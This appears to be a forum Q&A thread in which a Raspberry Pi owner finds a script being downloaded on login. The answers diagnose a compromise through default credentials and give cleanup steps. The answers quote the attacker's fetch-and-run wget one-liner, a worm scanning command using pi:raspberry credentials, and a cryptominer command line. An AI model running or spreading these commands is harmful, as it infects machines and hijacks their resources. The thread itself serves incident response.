1

i recently ssh into one of my remote servers and as i did it. It questioned the authenticity of the hosts key and prompted me if i still wanted to connect. I selected yes and after a while once i finished working i disconnected. Then later i was updating my linux OS so i rebooted my machine and after i re logged in it completed a funny looking operation i had not set it todo

here is what i saw (with the i.p. partailly censored):

converted 'http://secure2.proxychecker.site//bins.sh' (ANSI_X3.4-1968) -> 'http://secure2.proxychecker.site//bins.sh' (UTF-8)
--2017-03-22 23:00:25--  http://secure2.proxychecker.site//bins.sh
Resolving secure2.proxychecker.site (secure2.proxychecker.site)... 54.200.xxx.xxx
Connecting to secure2.proxychecker.site (secure2.proxychecker.site)|54.200.xxx.xxx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3013 (2.9K) [text/x-sh]
Saving to: 'bins.sh'

bins.sh                      100%[===============================================>]   2.94K  --.-KB/s   in 0.003s

2017-03-22 23:00:25 (921 KB/s) - 'bins.sh' saved [3013/3013]

How would i fix it so it would not do this again

hardware: raspberry pi 3 model B software: raspian jessie lite

  • That's kinda sketchy especially if you look at that bins.sh file and then all the other things that file downloads and does... Hmm... – ElefantPhace Mar 23 '17 at 0:26
  • You should check your .bashrc and make sure it looks correct – ElefantPhace Mar 23 '17 at 0:33
1

Somebody took control on your RPi, because you let default password for pi and/or root user. So he downloaded this script abd you will find into your something like :

cd /;wget http://secure2.proxychecker.site//bins.sh -O bins.sh;chmod 777 bins.sh;sudo nohup ./bins.sh &>/dev/null &

and cleaning all in the end. And launch some kind of bitcoin cpuminer software named minerd. See also this

I advise to rewrite your SD card again.

1

1.edit .bashrc

vi ~/.bashrc

edit file to delete wget:http://secure2.proxychecker.site//bins.sh

2.kill process

read the script http://secure2.proxychecker.site//bins.sh it will run 2 process

nohup node scan.js 1 pi:raspberry http://secure2.proxychecker.site//bins.sh &>/dev/null &

./minerd -t 1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u qwertyasdfgh@cock.li -p $myHN$cpuTemp1"."$cpuTempM

find them pid and kill

ps -ef |grep ./minerd
ps -ef |grep scan.js

3.change the system user password

do not use simple password and default password

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.